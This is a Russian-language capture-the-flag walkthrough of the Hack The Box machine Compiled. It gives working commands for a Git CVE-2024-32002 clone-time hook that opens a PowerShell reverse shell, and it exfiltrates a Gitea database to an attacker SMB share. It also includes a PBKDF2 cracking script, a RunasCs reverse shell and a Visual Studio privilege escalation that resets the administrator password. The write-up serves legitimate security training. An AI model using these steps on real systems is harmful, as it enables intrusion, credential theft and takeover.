Се­год­ня я покажу, как исполь­зовать недав­нюю уяз­вимость в Git для получе­ния сес­сии на хос­те, а для локаль­ного повыше­ния при­виле­гий заюзаем баг в Visual Studio.

На­ша цель — получе­ние прав супер­поль­зовате­ля на машине Compiled с учеб­ной пло­щад­ки Hack The Box. Уро­вень слож­ности задания — сред­ний.

warning

Под­клю­чать­ся к машинам с HTB рекомен­дует­ся с при­мене­нием средств ано­ними­зации и вир­туали­зации. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками.

Разведка

Сканирование портов

До­бав­ляем IP-адрес машины в /etc/hosts:

10.10.11.26 compiled.htb

И запус­каем ска­ниро­вание пор­тов.

Справка: сканирование портов

Ска­ниро­вание пор­тов — стан­дар­тный пер­вый шаг при любой ата­ке. Он поз­воля­ет ата­кующе­му узнать, какие служ­бы на хос­те при­нима­ют соеди­нение. На осно­ве этой информа­ции выбира­ется сле­дующий шаг к получе­нию точ­ки вхо­да.

На­ибо­лее извес­тный инс­тру­мент для ска­ниро­вания — это Nmap. Улуч­шить резуль­таты его работы ты можешь при помощи сле­дующе­го скрип­та:

#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '
' ',' | sed s/,$//)
nmap -p$ports -A $1

Он дей­ству­ет в два эта­па. На пер­вом про­изво­дит­ся обыч­ное быс­трое ска­ниро­вание, на вто­ром — более тща­тель­ное ска­ниро­вание, с исполь­зовани­ем име­ющих­ся скрип­тов (опция -A).

Результат работы скрипта
Ре­зуль­тат работы скрип­та
Результат работы скрипта (продолжение)
Ре­зуль­тат работы скрип­та (про­дол­жение)

Ска­нер нашел четыре откры­тых пор­та:

Точка входа

Пе­рехо­дим к Gitea и прос­матри­ваем пуб­личные про­екты. Нам дос­тупны про­екты Compiled и Calculator.

Список проектов Gitea
Спи­сок про­ектов Gitea

Нач­нем с пер­вого при­ложе­ния — Compiled. По исходно­му коду app.py понима­ем, что оно работа­ет на пор­те 5000 и слу­жит для сбор­ки про­екта из репози­тория Git.

Содержимое файла app.py
Со­дер­жимое фай­ла app.py
Главная страница сайта compiled.htb:5000
Глав­ная стра­ница сай­та compiled.htb:5000

Из README про­екта Calculator мож­но узнать об исполь­зуемой вер­сии Git — 2.45.0.

Описание проекта Calculator
Опи­сание про­екта Calculator

Точка опоры

Пер­вым делом сто­ит про­верить, есть ли для обна­ружен­ной вер­сии про­дук­та готовые экс­пло­иты. Отправ­ляем­ся на поис­ки в Google.

Поиск эксплоитов в Google
По­иск экс­пло­итов в Google

Вер­сия Git 2.45.0 содер­жит уяз­вимость CVE-2024-32002, которая может при­вес­ти к уда­лен­ному выпол­нению кода во вре­мя кло­ниро­вания репози­тория. Что­бы это сра­бота­ло, необ­ходимо сде­лать репози­торий с под­модуля­ми так, что­бы мож­но было записы­вать фай­лы не в рабочее дерево под­модуля, а в каталог .git/. Это поз­воля­ет сде­лать хук, который будет выпол­нять­ся во вре­мя опе­рации кло­ниро­вания, не давая поль­зовате­лю воз­можнос­ти про­верять исполня­емый код.

www

Под­робный раз­бор уяз­вимос­ти: Exploiting CVE-2024-32002: RCE via git clone.

Для экс­плу­ата­ции уяз­вимос­ти зарегис­три­руем­ся в Gitea и соз­дадим два репози­тория: r1 и r2.

Репозитории в Gitea
Ре­пози­тории в Gitea

Те­перь прис­тупим к экс­плу­ата­ции уяз­вимос­ти.

Нас­тра­иваем Git.

git config --global protocol.file.allow always
git config --global core.symlinks true
git config --global init.defaultBranch main

Кло­ниру­ем пер­вый репози­торий и соз­даем хук, который выпол­нит реверс‑шелл на PowerShell.

git clone http://10.10.11.26:3000/ralf/r1.git
cd r1
mkdir -p y/hooks
cat >y/hooks/post-checkout <<EOF
#!bin/sh
powershell -e JABjAGw.....KAApAA==
EOF
chmod +x y/hooks/post-checkout

Ком­митим и пушим изме­нения в репози­тории.

git add y/hooks/post-checkout
git commit -m "post-checkout"
git push
cd ..

Те­перь кло­ниру­ем вто­рой репози­торий и добав­ляем в него пер­вый репози­торий как под­модуль.

git clone http://10.10.11.26:3000/ralf/r2.git
cd r2
git submodule add --name x/y "git clone http://10.10.11.26:3000/ralf/r1.git" A/modules/x
git commit -m "add-submodule"

Соз­даем сим­линк на .git и обновля­ем индекс репози­тория. Затем ком­митим и пушим изме­нения в репози­тории.

printf ".git" >dotgit.txt
git hash-object -w --stdin <dotgit.txt >dot-git.hash
printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" >index.info
git update-index --index-info <index.info
git commit -m "add-symlink"
git push

Ког­да все готово, откры­ваем лис­тенер для реверс‑шел­ла:

rlwrap nc -nlvp 4321

И отправ­ляем ссыл­ку на вто­рой репози­торий через сайт Compiled.

Страница сайта Compiled
Стра­ница сай­та Compiled

Мгно­вен­но получа­ем сес­сию поль­зовате­ля Richard.

Сессия пользователя Richard
Сес­сия поль­зовате­ля Richard

Продвижение

На хос­те уста­нов­лен сер­вис Gitea, так что поп­робу­ем соб­рать учет­ные дан­ные. Gitea уста­нов­лен в катало­ге C:\Program Files.

Содержимое каталога C:\Program Files
Со­дер­жимое катало­га C:\Program Files

В катало­ге data служ­бы есть файл базы дан­ных gitea.db.

Содержимое каталога data
Со­дер­жимое катало­га data

Что­бы ска­чать файл с уда­лен­ного сер­вера, запус­тим на сво­ем хос­те SMB-сер­вер из набора impacket и ско­пиру­ем файл на эту шару.

smbserver.py -smb2support test .
copy gitea.db \\10.10.16.29\test\
Логи SMB-сервера
Ло­ги SMB-сер­вера

В фай­ле базы дан­ных сра­зу поп­робу­ем най­ти учет­ные дан­ные, поэто­му про­верим таб­лицу user. В этой таб­лице находим клю­чевую информа­цию поль­зовате­лей.

Содержимое файла базы данных
Со­дер­жимое фай­ла базы дан­ных

Поп­робу­ем проб­рутить хеши PBKDF2. Стро­ка pbkdf2$50000$50 говорит о том, что хеш PBKDF2 име­ет 50 000 ите­раций и дли­ну 50 байт. Но при запус­ке hashcat с ука­зани­ем нуж­ного типа хешей получа­ем ошиб­ку too long.

Поп­робу­ем наб­росать свой прос­тень­кий скрипт для перебо­ра пароля по сло­варю. Хеш и соль для поль­зовате­ля emily берем из фай­ла базы.

import hashlib
import binascii
dict = 'rockyou.txt'
key = '97907280dc24fe517c43475bd218bfad56c25d4d11037d8b6da440efd4d691adfead40330b2aa6aaf1f33621d0d73228fc16'
salt = binascii.unhexlify('227d873cca89103cd83a976bdac52486')
dklen = 50
iterations = 50000
with open(dict, 'r', encoding='utf-8') as f:
for line in f:
password = line.strip().encode('utf-8')
hashC = hashlib.pbkdf2_hmac( hash_name='sha256', password=password, salt=salt, iterations=iterations, dklen=dklen )
hashT = binascii.unhexlify(key)
if hashC == hashT:
print("Hash cracked: " + password.decode())
break
Результат работы скрипта
Ре­зуль­тат работы скрип­та

Па­роль ока­зал­ся очень лег­кий. Неуже­ли он исполь­зует­ся и в сис­теме? Ока­залось, что да: успешно под­клю­чаем­ся по WinRM и получа­ем пер­вый флаг.

evil-winrm -u emily -p 12345678 -i 10.10.11.26
Флаг пользователя
Флаг поль­зовате­ля

Локальное повышение привилегий

Так как WinRM исполь­зует тип логона 3 (Network), сес­сия будет огра­ниче­на. Что­бы получить логон типа 2 (Interactive), запус­тим лис­тенер:

rlwrap nc -nlvp 4321

И теперь выпол­ним реверс‑шелл через скрипт RunasCs, который по умол­чанию исполь­зует тип логона 2 для новых про­цес­сов.

r.exe emily 12345678 cmd.exe -r 10.10.16.29:4321
Запуск реверс-шелла
За­пуск реверс‑шел­ла

Даль­ше я пот­ратил некото­рое вре­мя на поиск пути повыше­ния при­виле­гий. Он отыс­кался, ког­да я стал про­верять вер­сии уста­нов­ленно­го ПО.

wmic product get name,version
Установленное ПО
Ус­танов­ленное ПО

На хос­те уста­нов­лено мно­го средств раз­работ­ки, но обра­тим вни­мание на ком­понен­ты VS вер­сии 16.10. Про­верим вер­сию Microsoft Visual Studio 2019.

"C:\Program Files (x86)\Microsoft Visual Studio\Installer\vswhere.exe" -property catalog_productDisplayVersion
Версия Microsoft Visual Studio
Вер­сия Microsoft Visual Studio

У нас вер­сия 16.10.0, а в Visual Studio 2019 до вер­сии 16.11.33 есть баг за номером CVE-2024-20656. Сер­вис VSStandardCollectorService150, который слу­жит для диаг­ности­ки Visual Studio и работа­ет в кон­тек­сте NT AUTHORITY\SYSTEM, мож­но исполь­зовать для сбро­са DACL про­изволь­ного фай­ла, что при­водит к повыше­нию при­виле­гий. Пол­ный раз­бор это­го бага есть на сай­те MDSec, а мы возь­мем го­товый экс­пло­ит и вне­сем неболь­шие прав­ки.

Пер­вым делом изме­ним путь к фай­лу VSDiagnostics.exe в перемен­ной cmd на сле­дующий:

C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\Team Tools\DiagnosticsHub\Collector\VSDiagnostics.exe
Исходное значение переменной cmd
Ис­ходное зна­чение перемен­ной cmd

За­тем най­дем фун­кцию cb1 и внут­ри CopyFile изме­ним путь к фай­лу, который будет выпол­нен в кон­тек­сте SYSTEM.

Исходный код функции cb1
Ис­ходный код фун­кции cb1

Вмес­то cmd.exe ука­жем исполня­емый файл change.exe, который прос­то сме­нит пароль адми­нис­тра­тора. Ском­пилиру­ем его из исходно­го кода.

#include <stdlib.h>
int main()
{
system("net user administrator rrRR__11");
return 0;
}
x86_64-w64-mingw32-gcc change.c -o change.exe

Заг­ружа­ем файл change.exe и соб­ранный экс­пло­ит на сер­вер, пос­ле чего запус­каем.

Эксплуатация уязвимости
Экс­плу­ата­ция уяз­вимос­ти

Те­перь под­клю­чаем­ся по WinRM от име­ни адми­нис­тра­тора и чита­ем пос­ледний флаг.

Флаг рута
Флаг рута

Ма­шина зах­вачена!